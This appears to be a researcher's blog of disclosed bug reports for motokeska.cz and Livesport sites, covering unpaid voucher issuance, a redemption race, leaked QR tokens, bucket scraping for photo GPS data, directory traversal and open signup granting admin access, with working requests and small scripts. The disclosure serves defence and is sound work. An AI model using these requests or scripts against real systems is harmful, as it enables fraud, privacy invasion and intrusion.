A targeted security assessment of motokeska.cz was conducted following explicit permission from the system administrator. The assessment was performed without any special privileges, simulating a realistic attacker with no insider access.

Five vulnerabilities were identified across four distinct attack surfaces:

• Voucher codes issued before payment is completed, enabling unlimited free vouchers
• Race condition in the redemption endpoint allowing a single voucher to activate multiple routes
• QR cache tokens exposed via a public API, enabling prize fraud without visiting real-world locations
• Arbitrary file upload accepted by the server due to insufficient content validation
• EXIF metadata retained in user profile images, potentially revealing GPS coordinates

All findings were responsibly disclosed to the domain owner, who acknowledged the bugs and granted permission to publish this article.

Vouchers for Free: How to Skip the Payment

Description

Motokeska.cz allows users to purchase vouchers that unlock paid routes on the voucher purchase page.
The purchase flow is straightforward - user fills in their email, selects a voucher type, and proceeds to payment via the GoPay gateway.

The problem? The server generates and returns a valid voucher code before the payment is completed.
When the purchase is initiated, the browser calls the following API endpoint:

POST /api/payments/coupon-payment HTTP/2
Host: api-dot-motokeska.ew.r.appspot.com
Content-Type: application/json

{"email":"hacker@evil.com","coupon_type":"single","year":2026}

The server responds immediately with a fully valid voucher code:

HTTP/2 200 OK  
Content-Type: application/json
  
{  
  "gw_url":"https://gate.gopay.com/gw-ui/rest/v3/bf312f244c524733b673a9ee4c066000",
  "id":1234567890,
  "coupon_code":"MOTO-ABCD123"
}

The coupon_code field in the response is immediately redeemable — regardless of whether the user ever completes the payment. The payment gateway URL (gw_url) is present in the response, but the server never waits for a confirmation callback from GoPay before issuing the code. The voucher generation and the payment are effectively decoupled.

This means the endpoint can be called repeatedly, generating an unlimited number of valid vouchers at no cost.

Remediation

Voucher codes should only be generated after receiving a verified payment confirmation callback from the payment gateway. The server must never include a voucher code in the initial payment creation response — the code should only be issued once a successful payment is confirmed server-side.

One Voucher, Unlimited Routes: Exploiting a Race Condition

Description

Motokeska.cz allows authenticated users to redeem voucher codes through their profile page. Each voucher is intended to be single-use and should unlock exactly one paid route.

The /api/coupons/redeem endpoint handles the redemption. A standard request looks like this:

POST /api/coupons/redeem HTTP/2  
Host: api-dot-motokeska.ew.r.appspot.com  
Authorization: Bearer <JWT>  
  
{"code":"MOTO-ABCD123","voucher_type":"single","selected_route":{"year":2026,"type":"main","number":"05"}}

If the same voucher is redeemed sequentially for a second route, the server correctly rejects it:

Tento voucher byl již použit. Každý voucher lze uplatnit pouze jednou.

However, if multiple redemption requests are sent concurrently — each targeting a different route by modifying the selected_route.number parameter — all requests reach the server before the voucher is marked as used. Each request succeeds independently, unlocking a different paid route with the same voucher code.

Remediation

The redemption endpoint must validate and mark the voucher as used in a single atomic operation — not as two separate steps. A database-level transaction with a pessimistic lock (e.g. SELECT FOR UPDATE) ensures that once the first request reads the voucher status, no concurrent request can read it until the first one has finished writing. Any request that arrives while the lock is held should receive an error response, not a success.

Complete the Route Without Leaving Home: How to Cheat the Game via API

Description

Motokeska is a real-world game. Players purchase a route, drive or ride to physical locations, and scan QR codes embedded in metal labels placed across the countryside. Each label looks like this:

Scanning the QR code on such a label redirects the player to a URL in the format:

https://motokeska.cz/keska/2025/city/01/14?token=JyOz6oe4gC602nRCW2bV

The token parameter is what proves you were physically at the location. It is the core mechanic of the game and the entry ticket to prize draws.

The problem is that these tokens are exposed through a public API endpoint. Anyone can retrieve them without leaving their desk.

The following request returns all cache data for a given route, including the token values that are normally only obtainable by physically visiting the location and scanning the label:

GET /api/caches?route_id=12&year=2026 HTTP/2
Host: api-dot-motokeska.ew.r.appspot.com
Authorization: Bearer <JWT>

The response includes the token for every cache on the route:

HTTP/2 200 OK
Content-Type: application/json

[
  {
    "id": 42,
    "route_id": 12,
    "name": "Cache #1",
    "qr_code_token": "JyOz6oe4gC602nRCW2bV",
    "gps_lat": 49.8175,
    "gps_lon": 13.4734
  },
  ...
]

With these tokens in hand, an attacker can construct valid cache confirmation requests and submit them as if they had visited each location — completing the entire route from home, earning points, and entering the prize draw without ever starting an engine.

Remediation

The qr_code_token field must never be returned by the API before the cache has been physically scanned. The token should only be used server-side to validate an incoming scan request — it has no legitimate reason to be sent to the client in advance.

Your Profile Picture May Leak Your Location

Description

Motokeska.cz allows users to set a profile picture. What most users wouldn't expect is that their photo may silently reveal where they live.

When a user uploads a profile picture, the image is stored in a publicly accessible Google Cloud Storage bucket without any metadata sanitization. This means that if the uploaded photo contains EXIF metadata — as most smartphone photos do — that metadata is preserved and accessible to anyone who can retrieve the file.

The bucket can be enumerated directly through the storage endpoint, without using the application at all:

https://storage.googleapis.com/motokeska-user-images?prefix=profile-images

This returns a list of all stored objects, which can then be downloaded in bulk:

burl='https://storage.googleapis.com/motokeska-user-images/'
curl -s https://storage.googleapis.com/motokeska-user-images \
  | rg -oPN '(?<=<Key>).*?(?=</Key>)' > keys.list

for key in $(cat keys.list); do
  curl -s -O "${burl}${key}"
done

Some of the uploaded photos:

Once downloaded, the images can be inspected with exiftool. If the author did not strip the metadata before uploading, the photo may reveal the location where it was taken. An example from an iPhone:

  [ExifIFD]   LensModel                  : iPhone 14 Pro front TrueDepth camera 2.69mm f/1.9
  [GPS]       GPSLatitude                : 50 deg 5' 11.04"
  [GPS]       GPSLongitude               : 14 deg 24' 35.88"
  [GPS]       GPSAltitude                : 187.0396476 m

A selfie taken at home and used as a profile picture just disclosed the user's home address to anyone who knows where to look.

Remediation

Uploaded images should be stripped of all metadata before storage. This can be done server-side using tools such as exiftool, ImageMagick, or by re-encoding the image through an image processing library — which also serves as an additional layer of defence against malformed or malicious uploads.

Uploading Anything: When the Server Trusts Too Much

Description

Motokeska.cz allows users to upload a profile picture through their profile page. The server is supposed to accept only images — but the validation is trivially bypassable.

The upload endpoint checks only the Content-Type header of the request. If the header starts with image/, the file is accepted — regardless of what the file actually contains. An attacker can upload any file by simply setting the header to image/jpeg while sending an entirely different payload:

POST /api/users/123/profile-image HTTP/2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...

------WebKitFormBoundary
Content-Disposition: form-data; name="profileImage"; filename="image.png"
Content-Type: image/javascript

The server accepts the upload and stores the file in a publicly accessible Google Cloud Storage bucket with an extension derived from the supplied Content-Type — not from the actual file content.

There is a second issue hiding in the same endpoint. The filename stored in the bucket is derived from the user ID in the request path. Adding leading zeros to the user ID produces a different filename, while the server still accepts the request as valid:

This means an attacker can upload an unlimited number of files to a trusted Google Cloud Storage bucket — a bucket that may be whitelisted by other systems or CSP policies — simply by incrementing the number of leading zeros.

Remediation

Content-Type headers are user-controlled and must never be trusted as the sole validation mechanism. The server should inspect the actual file content using magic byte validation and reject anything that does not match a known image format. The user identifier in the upload path must be normalized before use — leading zeros should be stripped and the resolved ID verified against the authenticated user. Enforcing one active profile image per user by replacing existing files rather than creating new ones would also eliminate the storage abuse vector.

Disclosure Timeline

9 March 2026 - requested permission from the owner of motokeska.cz (David Král) to conduct security testing
27 March 2026 - conditions reviewed and clarified
6 June 2026 - personal meeting, explanation, recommendations
7 June 2026 - sent report to owner of motokeska.cz
9 June 2026 - post published

Reward

No bug bounty program exists for motokeska.cz and no reward was requested. The report was shared voluntarily. The motokeska.cz team, entirely on their own initiative, sent a reward of CZK 20,000.

Directory Traversal vulnerability was identified and responsibly reported through Livesport’s official bug bounty program. The vulnerability was present at https://lsid.eu, a service that represents a key part of https://livesport.cz, as it's a Node JS server for registrations, logins and managing user data.

So, if we want to log in to our account on https://livesport.cz, one of the requests sent to LSID would look like this:

POST /v3/login HTTP/1.1
Host: lsid.eu
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://www.livesport.cz/
Content-Type: text/plain;charset=UTF-8
Content-Length: 131
Origin: https://www.livesport.cz
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Te: trailers
Connection: close
    
{"email":"aaa@x.cc","password":"password","namespace":"flashscore","project":1}

Some additional API endpoints that are part of LSID:

/v2/login
/v2/registration
/v2/logout
/v3/login
/v3/termsagree
/v3/verification
/v4/getdata
/v5/users/me/marketing-approval
/v5/users/me/terms
\[...\]

Description

Despite the protections and validation mechanisms that appeared to be implemented on the server, it was still possible to arbitrarily browse files and directories under the path /home/fsnodeuser/app/*.

This made it possible to access files such as:

• package.json
• package-lock.json

As well as various directories such as:

• node_modules
• dist
• lib

and others.

More specifically, the package.json file exposed project metadata and information about its dependencies, including internal dependencies such as @flashscore/<name>, which are required for running the application in the production environment. The file also contained build-related information, including the location of the internal NPM registry, contributors, and the homepage from which the project could be downloaded.

Write-up

I went to the URL https://lsid.eu

Then fuzzed it with ffuf and realized that the /public directory is accessible, though it seems to be misconfigured, as it returns a 500 Internal Server Error.

And if, for example, the following request is sent, the server returns the full path, and the username once again suggests that the application is running on Node.js

It's possible to modify the request by adding ../ path traversal sequences to move to the /home/fsnodeuser/app directory, which then allows browsing the files and directories belonging to the application. In the example below, the contents of the package.json file were retrieved.

Request:

GET /public/a/../../package.json HTTP/2
Host: lsid.eu
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101
Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Response:

HTTP/2 200 OK
Date: Sun, 09 Feb 2025 22:58:03 GMT
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
X-Transaction-Id: ca2bc4ea639d8137725d5924f7ad9008
Strict-Transport-Security: max-age=31536000; includeSubDomains

{"type":"Buffer", "data":[123,10,9,34,110,97,109,101,34,58,32,34,108,115,105,100,3 4,44,10,9,34,118,101,114,115,105,111,110,34,58,32,34,55,46,51,46,55,34,44,10,9,3
4,116,101,109,112,108,97,116,101,86,101,114,115,105,111,110,34,58,32,34,49,46,57,4
6,51,34,44,10,9,34,100,101,115,

[...]

The response containing the Buffer output is fairly long in both cases (package.json and package-lock.json), so I decided to include only a partial excerpt. Since each number in the data array corresponds to the ASCII value of a character from the package.json file, it can be converted into a readable JSON representation.

Addendum:

Summary of files discovered in /home/fsnodeuser/app:

• package.json
• package-lock.json

Discovered directories:

• dist
• node_modules/

How existing directories can be identified - example: node_modules

Request:

GET /public/a/..;/..;/..;/..;/..;/../../../../../../../node_modules HTTP/2
Host: lsid.eu

Response:

HTTP/2 500 Internal Server Error
Date: Tue, 20 Aug 2024 10:10:12 GMT
Content-Type: application/json; charset=UTF-8
X-Transaction-Id: 5dc70e858e61df37701e37ff3e1fa0da
Strict-Transport-Security: max-age=31536000; includeSubDomains

{"code":0,"message":"Error reading file: \"/node_modules \".","name":"InternalServerError"}

Although the server returns an error message - "500 Internal Server Error" - it tells us that it exists, so it's possible to work with that in the next steps. So let’s take the Buffer from the previous answer and convert it into a readable format to get the package.json file:

#!/usr/bin/env python3

import json

buffer_data = [123,10,9,34,110,97,109,101,34 ....the rest of the buffer...]

json_string = ''.join(chr(byte) for byte in buffer_data)
parsed_json = json.loads(json_string)
print(json.dumps(parsed_json, indent=4)) # Pretty print the JSON

A readable version of the package.json file for lsid.eu (some parts were intentionally "redacted"):

{
"name": "lsid",
"version": "x.x.x",
"templateVersion": "x.x.x",
"description": "Node JS server for registrations, logins and managing user
data."
,
"keywords": [
"livesport",
"service"
,
"LSID",
"nodejs",
"typescript"
],
"files": [
"js"
],
"publishConfig": {
"registry": "xxxx"
},
"license": "UNLICENSED",
"author": "xxx Node Team <xxxx@livesport.eu> (https://xxx.atla
ssian.net/xxxxxxxx)",
"contributors": [
".... <...@livesport.eu>",
".... <...@livesport.eu>",
".... <...@livesport.eu>",
".... <...@livesport.eu>",
".... <...@livesport.eu>",
".... <...@livesport.eu>",
".... <...@livesport.eu>"
],
"main": "./dist/index.js",
"homepage": "https://...",
"repository": {
"type": "git",
"url": "git@..."
},
"engines": {
"node": ">=v20.11.1"
},
"scripts": {
"audit": "npm audit --registry=https://registry.npmjs.org/",
"audit-fix": "npm run audit -- fix",
"audit-prod": "npm run audit -- --production",
"build": "tsc -p tsconfig.build.json",
ci --registry=https://..../ && npm run build-dt",
"build-dev": "tsc -p tsconfig.dev.json && npm run postbuild",
"build-dev-watch": "tsc -p tsconfig.dev.json && (concurrently \"tsc -w\"
\"tsc-alias -w\")",
......
,
"build-dt": "npm run build -- -p tsconfig.json",
"build-prod": "npm run build -- -p tsconfig.prod.json",
"check-circular-dependencies": "npx madge -c --extensions ts --ts-confi

[...]

},
"dependencies": {
"@flashscore/redacted-core": "^3.0.1",

[...]

},
"devDependencies": {

[...]

}
}

There are many interesting in-house dependencies in the dependencies section @flashscore. For the purposes of this post, however, I'll take the @flashscore/redacted-core

Getting package.json

GET /public/a/../../node_modules/@flashscore/redacted-core/package.json HTTP/2
Host: lsid.eu

The response is, as in the previous case, a "Buffer", so it needs to be converted into a readable format again:

HTTP/2 200 OK
Date: Mon, 10 Feb 2025 00:09:12 GMT
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
X-Transaction-Id: 7a6eca09a4db3cd451354bcef138a1d4
Strict-Transport-Security: max-age=31536000; includeSubDomains

{"type":"Buffer", "data":[123,10,9,34,110,97,109,101,34,58,32,34,64,102,108,97,11
5,104,115,99,111,114,101,47,115,101,

[...]

Converted package.json

{
"name": "@flashscore/redacted-core"
,
"version": "3.0.1",
"description": "Package includes base classes for FS Node Team microservice projects."
,
"keywords": [
"core"
,
"service"
,
"classes",
"livesport",
"flashscore"
,
"javascript",
"typescript"
],
"publishConfig": {
"registry": "...."
},
"license": "UNLICENSED",
"author": "....)",
"contributors": [

[...]

],
"main": "./dist/index.js",
"exports": {
"
.": "./dist/index.js",
"./repositories/*": "./dist/lib/repositories/*/index.js"
},
"types": "./dist/index.d.ts",
"typesVersions": {
"*": {
"index.d.ts": [
"./dist/index.d.ts"
],
"repositories/*": [
"./dist/lib/repositories/*/index.d.ts"
]
}
},
"homepage": "....",
"repository": {
"type": "git",
"url": "git@...."
},
"engines": {
"node": ">=..."
},
"scripts": {},
"dependencies": {
"@flashscore/........
},
"peerDependencies": {
"@flashscore/.......
},
"peerDependenciesMeta": {
"@flashscore/.....": {
"optional": true
},
"knex": {
"optional": true
}
},
"devDependencies": {
"@commitlint/cli": "^......
"@flashscore/.......[...]
}
}

It is possible to obtain information about both the authors and a description of what the dependency is used for, as well as what other dependencies it may use. In this way, it is possible to repeat this process for each dependency and obtain information about any internal
dependencies and look for hardcoded credentials, secrets, keys, internal URLs or sensitive information.

In the case of @flashscore/redacted-core, this tsconfig.test.json file was discovered:

GET /public/a/../../node_modules/@flashscore/redacted-core/tsconfig.test.json HTTP/2
Host: lsid.eu

Response:

HTTP/2 200 OK
Date: Mon, 10 Feb 2025 00:07:48 GMT
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
X-Transaction-Id: d8301857fd786064b71cb78e5b32527d
Strict-Transport-Security: max-age=31536000; includeSubDomains

{"type":"Buffer", "data":[123,10,9,34,101,120,116,101,110,100,115,34,58,32,34,46,4 7,116,115,99,111,110,102,105,103,46,106,115,111,110,34,44,10,9,34,99,111,109,112,105,
108,101,114,79,112,116,105,111,110,115,34,58,32,123,10,9,9,34,115,111,117,114,99,101,7
7,97,112,34,58,32,116,114,117,101,10,9,125,10,125,10]}

Converted to:

{
"extends": "./tsconfig.json",
"compilerOptions": {
"sourceMap": true
}
}

sourceMap is set to true. This information could be useful during JavaScript fuzzing, where .map extensions could be tested automatically to determine whether they expose any potentially vulnerable code paths or sensitive implementation details.

Even in lsid.eu it's possible to browse through third-party dependencies such as knex, lodash, mysql2, pino etc. and inspect individual files to determine whether they contain any custom configurations or settings required for the proper operation of the Livesport/Flashscore application.

One more interesting example was this redis-client

Request:

GET /public/a/../../node_modules/@flashscore/redis-client/dist/index.d.ts HTTP/2
Host: lsid.eu

Response:

HTTP/2 200 OK
Date: Tue, 20 Aug 2024 10:45:22 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 23
X-Transaction-Id: b39a07144f2a736080595d51e351e8cf
Strict-Transport-Security: max-age=31536000; includeSubDomains

export * from './lib';

In this case, there was also a docker-compose.yml file

Request:

GET /public/a/../../node_modules/@flashscore/redis-client/docker-compose.yml HTTP/2
Host: lsid.eu

Response:

HTTP/2 200 OK
Date: Tue, 20 Aug 2024 10:46:12 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 210
X-Transaction-Id: 08ecd5f4dc68b9fc1eb7528b489ddab6
Strict-Transport-Security: max-age=31536000; includeSubDomains

services:
redis:
image: <aaaa>/redis:test
restart: 'no'
ports:
- '6378:6379'
expose:
- '6378'

Timeline

• 10 February 2025: Vulnerability has been reported through https://bugbounty.livesport.eu/
• 10 February 2025: That same day, Livesport's Product Security IRT team informed me that they had received the report and would be processing it further.
• 17 February 2025: The vulnerability was assessed as valid, and I was informed that it has already been fixed.
• 11 April 2025: $500.00 bounty and 7 points into the Hall of Fame at https://bugbounty.livesport.eu/

I was probing some Livesport properties and noticed something odd about how user registration worked on two of their subdomains - bonusy.livesport.cz and soutez.livesport.cz. What started as a fairly routine finding about a poorly secured signup endpoint quickly escalated: the same registration flaw turned out to be the entry point to full administrative access on both subdomains. One let me manipulate sports betting bonus listings shown to all users; the other let me rig Euro 2024 contest results.

All findings were reported to Livesport's security team, promptly fixed, and rewarded through their bug bounty program. This writeup covers the full chain across all three reports.

A note on classification: The access control issue is technically best described as privilege misassignment at registration - new users were granted admin-level access without any escalation step. In practice, most bug bounty programs and OWASP's Broken Access Control taxonomy (A01:2025) categorize this under Vertical Privilege Escalation, and that's how it was reported and accepted here. Worth being aware of the nuance if you're building your own reports.

The target

Both affected applications are built on Bubble, a no-code platform that compiles frontend interactions into API calls against a backend runtime. Bubble exposes a set of standard endpoints for user management (/user/signup, /user/login, /user/hi, etc.) and a workflow execution endpoint (/workflow/start) that drives server-side business logic. Understanding this underlying platform turned out to be key to all findings.

The two subdomains had different purposes but shared the same Bubble foundation and, as it turned out, the same security misconfigurations:

• bonusy.livesport.cz - a bonus comparison page for Czech sports betting operators (Tipsport, Fortuna, Betano, Chance), showing deposit bonuses, free bet offers, and affiliate CTAs.
• soutez.livesport.cz - a contest platform tied to Euro 2024, letting users predict match outcomes for a chance to win prizes.

Findings

#1: Insecure User Registration Endpoint

Affected URLs: https://bonusy.livesport.cz · https://soutez.livesport.cz

Description

While mapping the attack surface of both applications, I noticed the Bubble-standard /user/signup endpoint was publicly reachable and accepted registrations without any meaningful validation. Three issues stacked on top of each other:

1. No email verification - accounts were created and immediately active; no confirmation link, no challenge.
2. Weak password policy - the endpoint accepted a password as short as a single character.
3. No rate limiting - nothing stopped automated, bulk account creation.

Proof of Concept

The discovery was iterative. Hitting the endpoint without parameters returned a descriptive error:

GET /user/signup HTTP/2
Host: bonusy.livesport.cz

HTTP/2 400 Bad Request
{"message":"NO_EMAIL","translation":"Prosím zadejte email"}

Adding an email but no password:

GET /user/signup?email=test2@qwerty.com HTTP/2
Host: bonusy.livesport.cz

HTTP/2 400 Bad Request
{"message":"NO_PASSWORD","translation":"Prosím zadejte heslo"}

And with both - success, with a single-character password:

GET /user/signup?email=test2@qwerty.com&password=a HTTP/2
Host: bonusy.livesport.cz

HTTP/2 200 OK
"1718007830927x469356327557668000"

The response returned the new user's internal ID, and the session cookies were immediately set and valid.

Mass Account Creation

To confirm the absence of rate limiting, I wrote a quick Bash script:

#!/bin/bash
for i in {1..10}; do
  email="testuser$i@qwerty.com"
  password="a"
  curl -X GET "https://bonusy.livesport.cz/user/signup?email=$email&password=$password"
done

All ten accounts were created in rapid succession with no throttling or blocking. I intentionally stopped at ten (using a traceable testuser1-10@qwerty.com range) so the accounts could be easily found and deleted in the database.

Account Enumeration

A useful side-effect of the descriptive error messages: re-registering an already-taken email returned a distinct USED_EMAIL error, making it straightforward to enumerate whether any given address was registered on the platform.

HTTP/2 400 Bad Request
{"message":"USED_EMAIL","translation":"Tento email se již používá: testuser3@qwerty.com"}

Impact

• Account enumeration - an attacker can determine which email addresses have registered accounts.
• Weak password policy - trivial brute-force against any account whose email is known.
• Mass account creation - spam, abuse of per-user quotas, and potential resource exhaustion.

On its own, a medium-severity finding. In combination with Finding #2 and #3 below, the severity multiplies significantly.

#2: Vertical Privilege Escalation on bonusy.livesport.cz

Affected URL: https://bonusy.livesport.cz

Description

After registering a test account on bonusy.livesport.cz via the unprotected signup endpoint, I probed what that account could access. The admin panel at https://bonusy.livesport.cz/admin/ turned out to be fully accessible - with complete read/write/delete permissions over all bonus listings on the site.

The user data model confirmed the account had no special role. A call to /api/1.1/init/data showed _type: "user" with no admin flag, group membership, or elevated attribute of any kind. Despite this, the admin interface and all its workflows were freely accessible and fully functional.

Proof of Concept

Using test account bugbounty01@qwerty.com created via /user/signup, authenticating to the admin panel succeeded immediately. Inside the admin panel at https://bonusy.livesport.cz/admin/, I had access to:

• A full list of all current bonus listings with edit and delete controls for each entry
• A Create Bonus button to add new listings

Log into the administration.

I was able to see all available bonuses.

I can edit any of the existing bonuses as I see fit (Tipsport – Free 500 CZK for your first bets). Alternatively, there is a “trash can” icon, which means I can delete any bonus at the same time.

Or it's possible to create a completely new bonus using the "Create Bonus" button.

Solely for proof-of-concept purposes, I took the liberty of creating a new bonus titled “Test Bonus – Non-functional” to confirm the above statement that everything can indeed be edited as desired. I set the URL to https://livesport.cz, so that if you happen to visit it “by accident,” you’ll be redirected to your main website at most.

Bonus created.

Impact

The impact here is more serious than it might initially appear. An attacker with this access could:

• Content tampering for phishing: Modify the CTA URLs of existing bonus listings to redirect users to attacker-controlled phishing pages. The bonusy.livesport.cz page is a trusted Livesport property, so users clicking through a "Tipsport - 500 Kč zdarma" button would have no reason to suspect the destination had been swapped.

• Fake bonus creation: Create entirely fictional, highly attractive bonuses to maximize click-through to a malicious URL - exploiting the trust users place in the Livesport brand.

• Content destruction: Delete all existing listings, disrupting the page's core function.

The phishing vector in particular represents a meaningful risk to end users, not just to Livesport operationally.

#3: Vertical Privilege Escalation on soutez.livesport.cz

Affected URL: https://soutez.livesport.cz

Description

The same misconfiguration was present on the contest subdomain. After registering via /user/signup, the admin interface at https://soutez.livesport.cz/admin/ was fully accessible. In this case the stakes were different: the admin panel controlled Euro 2024 contest draws.

Proof of Concept

Test account bugbounty02@qwerty.com was registered and used to authenticate against the admin panel via POST /workflow/start. The server returned "outcome":"success" and the session was established.

I was successfully logged in to the admin panel. Inside the Administrace Soutěže panel, the active contest at the time was a prediction for the Germany vs. Scotland match (14 June 2024, 21:00), with 30 submitted entries and a Vylosovat (Draw Winner) button available and functional. I did not interact with the draw functionality. I stopped at confirming the access, documented it, and reported immediately.

As I was sending this report to Livesport, this poll was running.

Impact

The full abuse chain using Findings #1 and #3 together:

1. Register multiple accounts via the unprotected /user/signup endpoint - no limit, no verification.
2. Submit contest predictions from each account, maximizing the share of entries belonging to the attacker.
3. Log into the admin panel with any of those same accounts.
4. Trigger the winner draw at the moment that maximizes the chance of one of your own entries being selected - or simply wait and re-trigger if the result isn't favorable (depending on how the draw workflow is implemented).

Every future contest on this platform could be manipulated and won on demand. The combination of mass account creation and admin draw access made this a complete contest integrity failure.

Timeline

• 14 Jun 2024: Insecure User Registration Endpoint and Vertical Privilege Escalations reported through https://bugbounty.livesport.eu/
• 14 Jun 2024: Vendor acknowledged all reports that same day and the vulnerabilities were assessed as valid.
• 7 August 2024: Unfortunately, both subdomains were officially out-of-scope, but they liked the issues and rewarded $200.00 and 10 points. Both websites were 3rd party websites made via Bubble.io by their contractor.